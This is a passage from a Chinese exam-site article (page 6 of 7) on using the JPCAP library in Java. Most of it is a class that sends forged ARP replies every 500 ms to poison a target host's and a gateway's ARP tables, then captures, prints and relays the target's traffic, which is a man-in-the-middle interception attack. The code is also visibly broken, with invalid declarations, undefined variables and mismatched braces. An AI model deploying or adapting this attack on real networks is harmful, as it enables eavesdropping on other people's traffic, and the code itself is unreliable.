云南招生考试信息网→ynexam.COM→※云南考试网※云南人事考试网※云南省公务员考试网※云南专升本考试报名※云南考试培训认证网※云南考试中心网
云南招生考试第一咨讯平台
首页 校园 网上书店  研考招生  普高招生 成考招生 自考招生 中考招生 教师资格 公务员考试 事业单位 人才招聘 留言
人力资源 | 秘书 | 物流师 | 营销师 | 会计证 | 导游 | 医药考试 | 建筑考试 | 外贸考试 | 电脑认证 | 外语考试 | 司法考试
心理咨询师| 职业指导师 | 理财规划师| 电子商务 | 项目管理 | 物业管理 | 报关员 | 营养师 | 美容美发 | 驾校 | 培训| 动态
 
 
当前位置:首页 > 云南计算机等级考试网 > 正文
JPCAP——Java中的数据链路层控制
来源: 时间:2008-05-14

  我们假定运行这个程序的机器A只有一个网卡,只接一个网络,所在局域网为Ethernet,并且假定已经通过某种方式获得B和网关的MAC地址(例如ARP解析获得)。我们修改了B和网关的ARP表,并对他们的包进行了转发。

public class changeARP{
 private NetworkInterface[] devices; //设备列表
 private NetworkInterface device; //要使用的设备
 private JpcapCaptor jpcap; //与设备的连接
 private JpcapSender sender; //用于发送的实例
 private byte[] targetMAC, gateMAC; //B的MAC地址,网关的MAC地址
 private byte[] String targetIp, String gateIp; //B的IP地址,网关的IP地址
 /**
 *初始化设备
 * JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic
 *dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。

 *注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
 *JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
 *虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分
 *配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。

 */

 private NetworkInterface getDevice() throws IOException {
  devices = JpcapCaptor.getDeviceList(); //获得设备列表
  device = devices[0];//只有一个设备
  jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
  jpcap.setFilter(“ip”,true); //只监听B的IP数据包
  sender = captor.getJpcapSenderInstance();
 }
 /**
 *修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一
 *段时间就发一次包重新更改B和网关的ARP表。
 *@参数 targetMAC B的MAC地址,可通过ARP解析得到;
 *@参数 targetIp B的IP地址;
 *@参数 gateMAC 网关的MAC地址;
 */

 public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
 throws UnknownHostException,InterruptedException {
  this. targetMAC = targetMAC;
  this. targetIp = targetIp;
  this. gateMAC = gateMAC;
  this. gateIp = gateIp;
  getDevice();
  arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
  arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
  arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
  arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
  arpTarget.hlen = 6; //MAC地址长度固定6个字节
  arpTarget.plen = 4; //IP地址长度固定4个字节
  arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
  arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP

  arpTarget.target_hardaddr = targetMAC; //B的MAC地址
  arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP

  EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
  ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型
  ethToTarget.src_mac = device.mac_address; //A的MAC地址
  ethToTarget.dst_mac = targetMAC; //B的MAC地址
  arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前
  arpGate = new ARPPacket(); //修改网关ARP表的包
  arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重复注析
  arpGate.prototype = ARPPacket.PROTOTYPE_IP;
  arpGate.operation = ARPPacket.ARP_REPLY;
  arpGate.hlen = 6;
  arpGate.plen = 4;
  arpGate.sender_hardaddr = device.mac_address;
  arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
  arpGate.target_hardaddr = gateMAC;
  arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
  EthernetPacket ethToGate = new EthernetPacket();
  ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
  ethToGate.src_mac = device.mac_address;
  ethToGate.dst_mac = gateMAC;
  arpGate.datalink = ethToGate;
  thread=new Thread(new Runnable(){ //创建一个进程控制发包速度
  public void run() {
   while (true) {
    sender.sendPacket(arpTarget);
    sender.sendPacket(arpGate);
    Thread.sleep(500);
   }).start();
   recP(); //接收数据包并转发
  }
  /**
  *修改包的以太头,转发数据包
  *参数 packet 收到的数据包
  *参数 changeMAC 要转发出去的目标
  */
  private void send(Packet packet, byte[] changeMAC) {
   EthernetPacket eth;
   if (packet.datalink instanceof EthernetPacket) {
    eth = (EthernetPacket) packet.datalink;
    for (int i = 0; i < 6; i++) {
     eth.dst_mac[i] = changeMAC[i]; //修改包以太头,改变包的目标
     eth.src_mac[i] = device.mac_address[i]; //源发送者为A
    }
    sender.sendPacket(packet);
   }
  }
  /**
  *打印接受到的数据包并转发
  */
  public void recP(){
   IPPacket ipPacket = null;
   while(true){
    ipPacket = (IPPacket)jpcap.getPacket();
    System.out.println(ipPacket);
    if (ipPacket.src_ip.getHostAddress().equals(targetIp))
     send(packet, gateMAC);
    else
     send(packet, targetMAC);
   }
  }

本文:JPCAP——Java中的数据链路层控制
共7页: 上一页 [1] [2] [3] [4] [5] 6 [7] 下一页
上一篇:告诉你有效创建oracledblink的两种方式
下一篇:忽视职业规划小心结苦果 三类“泡沫人才”跳槽难
[返回顶部] [打印本页] [关闭窗口]  
招生信息
·2009年云南省普通类专升本考试辅导
·2009年云南省人力资源管理师资格全
·2009年国家职业资格物流师全国统一
·2009年云南省秘书资格全国统一鉴定
·2009年云南昆明市普通话水平测试简
·2009年云南教师资格证考试培训通知
·云南2008年公务员面试培训课程安排
·2009年云南省普通类专升本考试培训
·[最后一期]:云南公务员培训8月9日
·[基础班]7月26日公务员培训云大开
·7月17日公务员培训云南大学开班
·翡翠(宝玉石)鉴别与营销课程高级
·云南08法检公务员培训班
·7月5日全天公务员培训云南大学开班
·08年云南教师资格证考试培训报名
·5月3日公务员辅导班公告
·云南公务员考前辅导班3月22日开班
·2008年国家职业资格物流师全国统一
·云南2008年公务员考试培训班全年计
·2008昆明市全国普通话水平测试考前
最新资讯
版权所有·云南招生考试信息网 滇ICP备06005811号
Copygight © 2007-2008 www.ynexam.com All Rights Reserved.
主办单位:云南招生考试信息网 指导单位:云南互联网联盟协会
技术维护:云南招生考试信息网网络中心 法律顾问:梦想成真律师事务所